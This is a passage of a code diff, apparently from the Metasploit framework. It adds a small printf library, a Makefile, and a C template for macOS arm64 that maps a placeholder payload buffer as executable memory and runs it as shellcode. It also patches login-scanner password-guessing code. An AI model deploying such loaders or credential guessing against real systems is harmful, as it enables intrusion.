||||
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10;
|
||||
value /= base;
|
||||
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
|
||||
}
|
||||
|
||||
return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags);
|
||||
}
|
||||
#endif // PRINTF_SUPPORT_LONG_LONG
|
||||
|
||||
|
||||
#if defined(PRINTF_SUPPORT_FLOAT)
|
||||
|
||||
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
|
||||
// forward declaration so that _ftoa can switch to exp notation for values > PRINTF_MAX_FLOAT
|
||||
static size_t _etoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags);
|
||||
#endif
|
||||
|
||||
|
||||
// internal ftoa for fixed decimal floating point
|
||||
static size_t _ftoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags)
|
||||
{
|
||||
char buf[PRINTF_FTOA_BUFFER_SIZE];
|
||||
size_t len = 0U;
|
||||
double diff = 0.0;
|
||||
|
||||
// powers of 10
|
||||
static const double pow10[] = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000 };
|
||||
|
||||
// test for special values
|
||||
if (value != value)
|
||||
return _out_rev(out, buffer, idx, maxlen, "nan", 3, width, flags);
|
||||
if (value < -DBL_MAX)
|
||||
return _out_rev(out, buffer, idx, maxlen, "fni-", 4, width, flags);
|
||||
if (value > DBL_MAX)
|
||||
return _out_rev(out, buffer, idx, maxlen, (flags & FLAGS_PLUS) ? "fni+" : "fni", (flags & FLAGS_PLUS) ? 4U : 3U, width, flags);
|
||||
|
||||
// test for very large values
|
||||
// standard printf behavior is to print EVERY whole number digit -- which could be 100s of characters overflowing your buffers == bad
|
||||
if ((value > PRINTF_MAX_FLOAT) || (value < -PRINTF_MAX_FLOAT)) {
|
||||
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
|
||||
return _etoa(out, buffer, idx, maxlen, value, prec, width, flags);
|
||||
#else
|
||||
return 0U;
|
||||
#endif
|
||||
}
|
||||
|
||||
// test for negative
|
||||
bool negative = false;
|
||||
if (value < 0) {
|
||||
negative = true;
|
||||
value = 0 - value;
|
||||
}
|
||||
|
||||
// set default precision, if not set explicitly
|
||||
if (!(flags & FLAGS_PRECISION)) {
|
||||
prec = PRINTF_DEFAULT_FLOAT_PRECISION;
|
||||
}
|
||||
// limit precision to 9, cause a prec >= 10 can lead to overflow errors
|
||||
while ((len < PRINTF_FTOA_BUFFER_SIZE) && (prec > 9U)) {
|
||||
buf[len++] = '0';
|
||||
prec--;
|
||||
}
|
||||
|
||||
int whole = (int)value;
|
||||
double tmp = (value - whole) * pow10[prec];
|
||||
unsigned long frac = (unsigned long)tmp;
|
||||
diff = tmp - frac;
|
||||
|
||||
if (diff > 0.5) {
|
||||
++frac;
|
||||
// handle rollover, e.g. case 0.99 with prec 1 is 1.0
|
||||
if (frac >= pow10[prec]) {
|
||||
frac = 0;
|
||||
++whole;
|
||||
}
|
||||
}
|
||||
else if (diff < 0.5) {
|
||||
}
|
||||
else if ((frac == 0U) || (frac & 1U)) {
|
||||
// if halfway, round up if odd OR if last digit is 0
|
||||
++frac;
|
||||
}
|
||||
|
||||
if (prec == 0U) {
|
||||
diff = value - (double)whole;
|
||||
if ((!(diff < 0.5) || (diff > 0.5)) && (whole & 1)) {
|
||||
// exactly 0.5 and ODD, then round up
|
||||
// 1.5 -> 2, but 2.5 -> 2
|
||||
++whole;
|
||||
}
|
||||
}
|
||||
else {
|
||||
unsigned int count = prec;
|
||||
// now do fractional part, as an unsigned number
|
||||
while (len < PRINTF_FTOA_BUFFER_SIZE) {
|
||||
--count;
|
||||
buf[len++] = (char)(48U + (frac % 10U));
|
||||
if (!(frac /= 10U)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
// add extra 0s
|
||||
while ((len < PRINTF_FTOA_BUFFER_SIZE) && (count-- > 0U)) {
|
||||
buf[len++] = '0';
|
||||
}
|
||||
if (len < PRINTF_FTOA_BUFFER_SIZE) {
|
||||
// add decimal
|
||||
buf[len++] = '.';
|
||||
}
|
||||
}
|
||||
|
||||
// do whole part, number is reversed
|
||||
while (len < PRINTF_FTOA_BUFFER_SIZE) {
|
||||
buf[len++] = (char)(48 + (whole % 10));
|
||||
if (!(whole /= 10)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// pad leading zeros
|
||||
if (!(flags & FLAGS_LEFT) && (flags & FLAGS_ZEROPAD)) {
|
||||
if (width && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) {
|
||||
width--;
|
||||
}
|
||||
while ((len < width) && (len < PRINTF_FTOA_BUFFER_SIZE)) {
|
||||
buf[len++] = '0';
|
||||
}
|
||||
}
|
||||
|
||||
if (len < PRINTF_FTOA_BUFFER_SIZE) {
|
||||
if (negative) {
|
||||
buf[len++] = '-';
|
||||
}
|
||||
else if (flags & FLAGS_PLUS) {
|
||||
buf[len++] = '+'; // ignore the space if the '+' exists
|
||||
}
|
||||
else if (flags & FLAGS_SPACE) {
|
||||
buf[len++] = ' ';
|
||||
}
|
||||
}
|
||||
|
||||
return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags);
|
||||
}
|
||||
|
||||
|
||||
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
|
||||
// internal ftoa variant for exponential floating-point type, contributed by Martijn Jasperse <m.jasperse@gmail.com>
|
||||
static size_t _etoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags)
|
||||
{
|
||||
// check for NaN and special values
|
||||
if ((value != value) || (value > DBL_MAX) || (value < -DBL_MAX)) {
|
||||
return _ftoa(out, buffer, idx, maxlen, value, prec, width, flags);
|
||||
}
|
||||
|
||||
// determine the sign
|
||||
const bool negative = value < 0;
|
||||
if (negative) {
|
||||
value = -value;
|
||||
}
|
||||
|
||||
// default precision
|
||||
if (!(flags & FLAGS_PRECISION)) {
|
||||
prec = PRINTF_DEFAULT_FLOAT_PRECISION;
|
||||
}
|
||||
|
||||
// determine the decimal exponent
|
||||
// based on the algorithm by David Gay (https://www.ampl.com/netlib/fp/dtoa.c)
|
||||
union {
|
||||
uint64_t U;
|
||||
double F;
|
||||
} conv;
|
||||
|
||||
conv.F = value;
|
||||
int exp2 = (int)((conv.U >> 52U) & 0x07FFU) - 1023; // effectively log2
|
||||
conv.U = (conv.U & ((1ULL << 52U) - 1U)) | (1023ULL << 52U); // drop the exponent so conv.F is now in [1,2)
|
||||
// now approximate log10 from the log2 integer part and an expansion of ln around 1.5
|
||||
int expval = (int)(0.1760912590558 + exp2 * 0.301029995663981 + (conv.F - 1.5) * 0.289529654602168);
|
||||
// now we want to compute 10^expval but we want to be sure it won't overflow
|
||||
exp2 = (int)(expval * 3.321928094887362 + 0.5);
|
||||
const double z = expval * 2.302585092994046 - exp2 * 0.6931471805599453;
|
||||
const double z2 = z * z;
|
||||
conv.U = (uint64_t)(exp2 + 1023) << 52U;
|
||||
// compute exp(z) using continued fractions, see https://en.wikipedia.org/wiki/Exponential_function#Continued_fractions_for_ex
|
||||
conv.F *= 1 + 2 * z / (2 - z + (z2 / (6 + (z2 / (10 + z2 / 14)))));
|
||||
// correct for rounding errors
|
||||
if (value < conv.F) {
|
||||
expval--;
|
||||
conv.F /= 10;
|
||||
}
|
||||
|
||||
// the exponent format is "%+03d" and largest value is "307", so set aside 4-5 characters
|
||||
unsigned int minwidth = ((expval < 100) && (expval > -100)) ? 4U : 5U;
|
||||
|
||||
// in "%g" mode, "prec" is the number of *significant figures* not decimals
|
||||
if (flags & FLAGS_ADAPT_EXP) {
|
||||
// do we want to fall-back to "%f" mode?
|
||||
if ((value >= 1e-4) && (value < 1e6)) {
|
||||
if ((int)prec > expval) {
|
||||
prec = (unsigned)((int)prec - expval - 1);
|
||||
}
|
||||
else {
|
||||
prec = 0;
|
||||
}
|
||||
flags |= FLAGS_PRECISION; // make sure _ftoa respects precision
|
||||
// no characters in exponent
|
||||
minwidth = 0U;
|
||||
expval = 0;
|
||||
}
|
||||
else {
|
||||
// we use one sigfig for the whole part
|
||||
if ((prec > 0) && (flags & FLAGS_PRECISION)) {
|
||||
--prec;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// will everything fit?
|
||||
unsigned int fwidth = width;
|
||||
if (width > minwidth) {
|
||||
// we didn't fall-back so subtract the characters required for the exponent
|
||||
fwidth -= minwidth;
|
||||
} else {
|
||||
// not enough characters, so go back to default sizing
|
||||
fwidth = 0U;
|
||||
}
|
||||
if ((flags & FLAGS_LEFT) && minwidth) {
|
||||
// if we're padding on the right, DON'T pad the floating part
|
||||
fwidth = 0U;
|
||||
}
|
||||
|
||||
// rescale the float value
|
||||
if (expval) {
|
||||
value /= conv.F;
|
||||
}
|
||||
|
||||
// output the floating part
|
||||
const size_t start_idx = idx;
|
||||
idx = _ftoa(out, buffer, idx, maxlen, negative ? -value : value, prec, fwidth, flags & ~FLAGS_ADAPT_EXP);
|
||||
|
||||
// output the exponent part
|
||||
if (minwidth) {
|
||||
// output the exponential symbol
|
||||
out((flags & FLAGS_UPPERCASE) ? 'E' : 'e', buffer, idx++, maxlen);
|
||||
// output the exponent value
|
||||
idx = _ntoa_long(out, buffer, idx, maxlen, (expval < 0) ? -expval : expval, expval < 0, 10, 0, minwidth-1, FLAGS_ZEROPAD | FLAGS_PLUS);
|
||||
// might need to right-pad spaces
|
||||
if (flags & FLAGS_LEFT) {
|
||||
while (idx - start_idx < width) out(' ', buffer, idx++, maxlen);
|
||||
}
|
||||
}
|
||||
return idx;
|
||||
}
|
||||
#endif // PRINTF_SUPPORT_EXPONENTIAL
|
||||
#endif // PRINTF_SUPPORT_FLOAT
|
||||
|
||||
|
||||
// internal vsnprintf
|
||||
static int _vsnprintf(out_fct_type out, char* buffer, const size_t maxlen, const char* format, va_list va)
|
||||
{
|
||||
unsigned int flags, width, precision, n;
|
||||
size_t idx = 0U;
|
||||
|
||||
if (!buffer) {
|
||||
// use null output function
|
||||
out = _out_null;
|
||||
}
|
||||
|
||||
while (*format)
|
||||
{
|
||||
// format specifier? %[flags][width][.precision][length]
|
||||
if (*format != '%') {
|
||||
// no
|
||||
out(*format, buffer, idx++, maxlen);
|
||||
format++;
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
// yes, evaluate it
|
||||
format++;
|
||||
}
|
||||
|
||||
// evaluate flags
|
||||
flags = 0U;
|
||||
do {
|
||||
switch (*format) {
|
||||
case '0': flags |= FLAGS_ZEROPAD; format++; n = 1U; break;
|
||||
case '-': flags |= FLAGS_LEFT; format++; n = 1U; break;
|
||||
case '+': flags |= FLAGS_PLUS; format++; n = 1U; break;
|
||||
case ' ': flags |= FLAGS_SPACE; format++; n = 1U; break;
|
||||
case '#': flags |= FLAGS_HASH; format++; n = 1U; break;
|
||||
default : n = 0U; break;
|
||||
}
|
||||
} while (n);
|
||||
|
||||
// evaluate width field
|
||||
width = 0U;
|
||||
if (_is_digit(*format)) {
|
||||
width = _atoi(&format);
|
||||
}
|
||||
else if (*format == '*') {
|
||||
const int w = va_arg(va, int);
|
||||
if (w < 0) {
|
||||
flags |= FLAGS_LEFT; // reverse padding
|
||||
width = (unsigned int)-w;
|
||||
}
|
||||
else {
|
||||
width = (unsigned int)w;
|
||||
}
|
||||
format++;
|
||||
}
|
||||
|
||||
// evaluate precision field
|
||||
precision = 0U;
|
||||
if (*format == '.') {
|
||||
flags |= FLAGS_PRECISION;
|
||||
format++;
|
||||
if (_is_digit(*format)) {
|
||||
precision = _atoi(&format);
|
||||
}
|
||||
else if (*format == '*') {
|
||||
const int prec = (int)va_arg(va, int);
|
||||
precision = prec > 0 ? (unsigned int)prec : 0U;
|
||||
format++;
|
||||
}
|
||||
}
|
||||
|
||||
// evaluate length field
|
||||
switch (*format) {
|
||||
case 'l' :
|
||||
flags |= FLAGS_LONG;
|
||||
format++;
|
||||
if (*format == 'l') {
|
||||
flags |= FLAGS_LONG_LONG;
|
||||
format++;
|
||||
}
|
||||
break;
|
||||
case 'h' :
|
||||
flags |= FLAGS_SHORT;
|
||||
format++;
|
||||
if (*format == 'h') {
|
||||
flags |= FLAGS_CHAR;
|
||||
format++;
|
||||
}
|
||||
break;
|
||||
#if defined(PRINTF_SUPPORT_PTRDIFF_T)
|
||||
case 't' :
|
||||
flags |= (sizeof(ptrdiff_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
|
||||
format++;
|
||||
break;
|
||||
#endif
|
||||
case 'j' :
|
||||
flags |= (sizeof(intmax_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
|
||||
format++;
|
||||
break;
|
||||
case 'z' :
|
||||
flags |= (sizeof(size_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
|
||||
format++;
|
||||
break;
|
||||
default :
|
||||
break;
|
||||
}
|
||||
|
||||
// evaluate specifier
|
||||
switch (*format) {
|
||||
case 'd' :
|
||||
case 'i' :
|
||||
case 'u' :
|
||||
case 'x' :
|
||||
case 'X' :
|
||||
case 'o' :
|
||||
case 'b' : {
|
||||
// set the base
|
||||
unsigned int base;
|
||||
if (*format == 'x' || *format == 'X') {
|
||||
base = 16U;
|
||||
}
|
||||
else if (*format == 'o') {
|
||||
base = 8U;
|
||||
}
|
||||
else if (*format == 'b') {
|
||||
base = 2U;
|
||||
}
|
||||
else {
|
||||
base = 10U;
|
||||
flags &= ~FLAGS_HASH; // no hash for dec format
|
||||
}
|
||||
// uppercase
|
||||
if (*format == 'X') {
|
||||
flags |= FLAGS_UPPERCASE;
|
||||
}
|
||||
|
||||
// no plus or space flag for u, x, X, o, b
|
||||
if ((*format != 'i') && (*format != 'd')) {
|
||||
flags &= ~(FLAGS_PLUS | FLAGS_SPACE);
|
||||
}
|
||||
|
||||
// ignore '0' flag when precision is given
|
||||
if (flags & FLAGS_PRECISION) {
|
||||
flags &= ~FLAGS_ZEROPAD;
|
||||
}
|
||||
|
||||
// convert the integer
|
||||
if ((*format == 'i') || (*format == 'd')) {
|
||||
// signed
|
||||
if (flags & FLAGS_LONG_LONG) {
|
||||
#if defined(PRINTF_SUPPORT_LONG_LONG)
|
||||
const long long value = va_arg(va, long long);
|
||||
idx = _ntoa_long_long(out, buffer, idx, maxlen, (unsigned long long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
|
||||
#endif
|
||||
}
|
||||
else if (flags & FLAGS_LONG) {
|
||||
const long value = va_arg(va, long);
|
||||
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
|
||||
}
|
||||
else {
|
||||
const int value = (flags & FLAGS_CHAR) ? (char)va_arg(va, int) : (flags & FLAGS_SHORT) ? (short int)va_arg(va, int) : va_arg(va, int);
|
||||
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned int)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
|
||||
}
|
||||
}
|
||||
else {
|
||||
// unsigned
|
||||
if (flags & FLAGS_LONG_LONG) {
|
||||
#if defined(PRINTF_SUPPORT_LONG_LONG)
|
||||
idx = _ntoa_long_long(out, buffer, idx, maxlen, va_arg(va, unsigned long long), false, base, precision, width, flags);
|
||||
#endif
|
||||
}
|
||||
else if (flags & FLAGS_LONG) {
|
||||
idx = _ntoa_long(out, buffer, idx, maxlen, va_arg(va, unsigned long), false, base, precision, width, flags);
|
||||
}
|
||||
else {
|
||||
const unsigned int value = (flags & FLAGS_CHAR) ? (unsigned char)va_arg(va, unsigned int) : (flags & FLAGS_SHORT) ? (unsigned short int)va_arg(va, unsigned int) : va_arg(va, unsigned int);
|
||||
idx = _ntoa_long(out, buffer, idx, maxlen, value, false, base, precision, width, flags);
|
||||
}
|
||||
}
|
||||
format++;
|
||||
break;
|
||||
}
|
||||
#if defined(PRINTF_SUPPORT_FLOAT)
|
||||
case 'f' :
|
||||
case 'F' :
|
||||
if (*format == 'F') flags |= FLAGS_UPPERCASE;
|
||||
idx = _ftoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags);
|
||||
format++;
|
||||
break;
|
||||
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
|
||||
case 'e':
|
||||
case 'E':
|
||||
case 'g':
|
||||
case 'G':
|
||||
if ((*format == 'g')||(*format == 'G')) flags |= FLAGS_ADAPT_EXP;
|
||||
if ((*format == 'E')||(*format == 'G')) flags |= FLAGS_UPPERCASE;
|
||||
idx = _etoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags);
|
||||
format++;
|
||||
break;
|
||||
#endif // PRINTF_SUPPORT_EXPONENTIAL
|
||||
#endif // PRINTF_SUPPORT_FLOAT
|
||||
case 'c' : {
|
||||
unsigned int l = 1U;
|
||||
// pre padding
|
||||
if (!(flags & FLAGS_LEFT)) {
|
||||
while (l++ < width) {
|
||||
out(' ', buffer, idx++, maxlen);
|
||||
}
|
||||
}
|
||||
// char output
|
||||
out((char)va_arg(va, int), buffer, idx++, maxlen);
|
||||
// post padding
|
||||
if (flags & FLAGS_LEFT) {
|
||||
while (l++ < width) {
|
||||
out(' ', buffer, idx++, maxlen);
|
||||
}
|
||||
}
|
||||
format++;
|
||||
break;
|
||||
}
|
||||
|
||||
case 's' : {
|
||||
const char* p = va_arg(va, char*);
|
||||
unsigned int l = _strnlen_s(p, precision ? precision : (size_t)-1);
|
||||
// pre padding
|
||||
if (flags & FLAGS_PRECISION) {
|
||||
l = (l < precision ? l : precision);
|
||||
}
|
||||
if (!(flags & FLAGS_LEFT)) {
|
||||
while (l++ < width) {
|
||||
out(' ', buffer, idx++, maxlen);
|
||||
}
|
||||
}
|
||||
// string output
|
||||
while ((*p != 0) && (!(flags & FLAGS_PRECISION) || precision--)) {
|
||||
out(*(p++), buffer, idx++, maxlen);
|
||||
}
|
||||
// post padding
|
||||
if (flags & FLAGS_LEFT) {
|
||||
while (l++ < width) {
|
||||
out(' ', buffer, idx++, maxlen);
|
||||
}
|
||||
}
|
||||
format++;
|
||||
break;
|
||||
}
|
||||
|
||||
case 'p' : {
|
||||
width = sizeof(void*) * 2U;
|
||||
flags |= FLAGS_ZEROPAD | FLAGS_UPPERCASE;
|
||||
#if defined(PRINTF_SUPPORT_LONG_LONG)
|
||||
const bool is_ll = sizeof(uintptr_t) == sizeof(long long);
|
||||
if (is_ll) {
|
||||
idx = _ntoa_long_long(out, buffer, idx, maxlen, (uintptr_t)va_arg(va, void*), false, 16U, precision, width, flags);
|
||||
}
|
||||
else {
|
||||
#endif
|
||||
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)((uintptr_t)va_arg(va, void*)), false, 16U, precision, width, flags);
|
||||
#if defined(PRINTF_SUPPORT_LONG_LONG)
|
||||
}
|
||||
#endif
|
||||
format++;
|
||||
break;
|
||||
}
|
||||
|
||||
case '%' :
|
||||
out('%', buffer, idx++, maxlen);
|
||||
format++;
|
||||
break;
|
||||
|
||||
default :
|
||||
out(*format, buffer, idx++, maxlen);
|
||||
format++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// termination
|
||||
out((char)0, buffer, idx < maxlen ? idx : maxlen - 1U, maxlen);
|
||||
|
||||
// return written chars without terminating \0
|
||||
return (int)idx;
|
||||
}
|
||||
|
||||
|
||||
///////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int printf_(const char* format, ...)
|
||||
{
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
char buffer[1];
|
||||
const int ret = _vsnprintf(_out_char, buffer, (size_t)-1, format, va);
|
||||
va_end(va);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
int sprintf_(char* buffer, const char* format, ...)
|
||||
{
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
const int ret = _vsnprintf(_out_buffer, buffer, (size_t)-1, format, va);
|
||||
va_end(va);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
int snprintf_(char* buffer, size_t count, const char* format, ...)
|
||||
{
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
const int ret = _vsnprintf(_out_buffer, buffer, count, format, va);
|
||||
va_end(va);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
int vprintf_(const char* format, va_list va)
|
||||
{
|
||||
char buffer[1];
|
||||
return _vsnprintf(_out_char, buffer, (size_t)-1, format, va);
|
||||
}
|
||||
|
||||
|
||||
int vsnprintf_(char* buffer, size_t count, const char* format, va_list va)
|
||||
{
|
||||
return _vsnprintf(_out_buffer, buffer, count, format, va);
|
||||
}
|
||||
|
||||
|
||||
int fctprintf(void (*out)(char character, void* arg), void* arg, const char* format, ...)
|
||||
{
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
const out_fct_wrap_type out_fct_wrap = { out, arg };
|
||||
const int ret = _vsnprintf(_out_fct, (char*)(uintptr_t)&out_fct_wrap, (size_t)-1, format, va);
|
||||
va_end(va);
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
///////////////////////////////////////////////////////////////////////////////
|
||||
// \author (c) Marco Paland (info@paland.com)
|
||||
// 2014-2019, PALANDesign Hannover, Germany
|
||||
//
|
||||
// \license The MIT License (MIT)
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
//
|
||||
// \brief Tiny printf, sprintf and snprintf implementation, optimized for speed on
|
||||
// embedded systems with a very limited resources.
|
||||
// Use this instead of bloated standard/newlib printf.
|
||||
// These routines are thread safe and reentrant.
|
||||
//
|
||||
///////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef _PRINTF_H_
|
||||
#define _PRINTF_H_
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stddef.h>
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
|
||||
/**
|
||||
* Output a character to a custom device like UART, used by the printf() function
|
||||
* This function is declared here only. You have to write your custom implementation somewhere
|
||||
* \param character Character to output
|
||||
*/
|
||||
void _putchar(char character);
|
||||
|
||||
|
||||
/**
|
||||
* Tiny printf implementation
|
||||
* You have to implement _putchar if you use printf()
|
||||
* To avoid conflicts with the regular printf() API it is overridden by macro defines
|
||||
* and internal underscore-appended functions like printf_() are used
|
||||
* \param format A string that specifies the format of the output
|
||||
* \return The number of characters that are written into the array, not counting the terminating null character
|
||||
*/
|
||||
#define printf printf_
|
||||
int printf_(const char* format, ...);
|
||||
|
||||
|
||||
/**
|
||||
* Tiny sprintf implementation
|
||||
* Due to security reasons (buffer overflow) YOU SHOULD CONSIDER USING (V)SNPRINTF INSTEAD!
|
||||
* \param buffer A pointer to the buffer where to store the formatted string. MUST be big enough to store the output!
|
||||
* \param format A string that specifies the format of the output
|
||||
* \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character
|
||||
*/
|
||||
#define sprintf sprintf_
|
||||
int sprintf_(char* buffer, const char* format, ...);
|
||||
|
||||
|
||||
/**
|
||||
* Tiny snprintf/vsnprintf implementation
|
||||
* \param buffer A pointer to the buffer where to store the formatted string
|
||||
* \param count The maximum number of characters to store in the buffer, including a terminating null character
|
||||
* \param format A string that specifies the format of the output
|
||||
* \param va A value identifying a variable arguments list
|
||||
* \return The number of characters that COULD have been written into the buffer, not counting the terminating
|
||||
* null character. A value equal or larger than count indicates truncation. Only when the returned value
|
||||
* is non-negative and less than count, the string has been completely written.
|
||||
*/
|
||||
#define snprintf snprintf_
|
||||
#define vsnprintf vsnprintf_
|
||||
int snprintf_(char* buffer, size_t count, const char* format, ...);
|
||||
int vsnprintf_(char* buffer, size_t count, const char* format, va_list va);
|
||||
|
||||
|
||||
/**
|
||||
* Tiny vprintf implementation
|
||||
* \param format A string that specifies the format of the output
|
||||
* \param va A value identifying a variable arguments list
|
||||
* \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character
|
||||
*/
|
||||
#define vprintf vprintf_
|
||||
int vprintf_(const char* format, va_list va);
|
||||
|
||||
|
||||
/**
|
||||
* printf with output function
|
||||
* You may use this as dynamic alternative to printf() with its fixed _putchar() output
|
||||
* \param out An output function which takes one character and an argument pointer
|
||||
* \param arg An argument pointer for user data passed to output function
|
||||
* \param format A string that specifies the format of the output
|
||||
* \return The number of characters that are sent to the output function, not counting the terminating null character
|
||||
*/
|
||||
int fctprintf(void (*out)(char character, void* arg), void* arg, const char* format, ...);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#endif // _PRINTF_H_
|
||||
@@ -0,0 +1 @@
|
||||
template_aarch64_darwin
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
.PHONY: templates
|
||||
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
|
||||
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
|
||||
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
|
||||
GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64
|
||||
GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64
|
||||
|
||||
all: templates
|
||||
|
||||
template_aarch64_darwin: template_aarch64_darwin.c
|
||||
$(GCC_OSX_AARCH64) -o $@ $^
|
||||
strip $@
|
||||
|
||||
templates: template_aarch64_darwin
|
||||
|
||||
install: templates
|
||||
cp template_aarch64_darwin ../../../../../data/templates/template_aarch64_darwin.bin
|
||||
|
||||
clean:
|
||||
rm -f template_aarch64_darwin
|
||||
@@ -0,0 +1,18 @@
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
char payload[8000] = "PAYLOAD:";
|
||||
int main() {
|
||||
void *ptr = mmap(0, sizeof(payload), PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
return 0;
|
||||
}
|
||||
memcpy(ptr, payload, sizeof(payload));
|
||||
mprotect(ptr, sizeof(payload), PROT_READ | PROT_EXEC);
|
||||
int (*sc)() = ptr;
|
||||
sc();
|
||||
return 0;
|
||||
}
|
||||
@@ -89,7 +89,7 @@ module Metasploit
|
||||
@link_script = opts[:linker_script]
|
||||
@compile_options = opts[:compile_options]
|
||||
@opt_lvl = opts[:opt_lvl]
|
||||
@include_dirs = opts[:include_dirs]
|
||||
@include_dirs = opts[:include_dirs] || []
|
||||
@mingw_bin = MINGW_X86
|
||||
end
|
||||
|
||||
@@ -112,7 +112,7 @@ module Metasploit
|
||||
@link_script = opts[:linker_script]
|
||||
@compile_options = opts[:compile_options]
|
||||
@opt_lvl = opts[:opt_lvl]
|
||||
@include_dirs = opts[:include_dirs]
|
||||
@include_dirs = opts[:include_dirs] || []
|
||||
@mingw_bin = MINGW_X64
|
||||
end
|
||||
|
||||
|
||||
@@ -113,6 +113,7 @@ module Metasploit::Framework
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
@@ -243,6 +244,7 @@ module Metasploit::Framework
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
|
||||
@@ -251,6 +251,8 @@ module Metasploit
|
||||
break if total_error_count >= 10
|
||||
end
|
||||
end
|
||||
rescue => e
|
||||
elog('Attempt may not yield a result', error: e)
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
@@ -19,7 +19,7 @@ module Metasploit
|
||||
REALM_KEY = Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @param credential [Credential] The credential object to attempt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
@@ -60,7 +60,7 @@ module Metasploit
|
||||
proof: e.message
|
||||
})
|
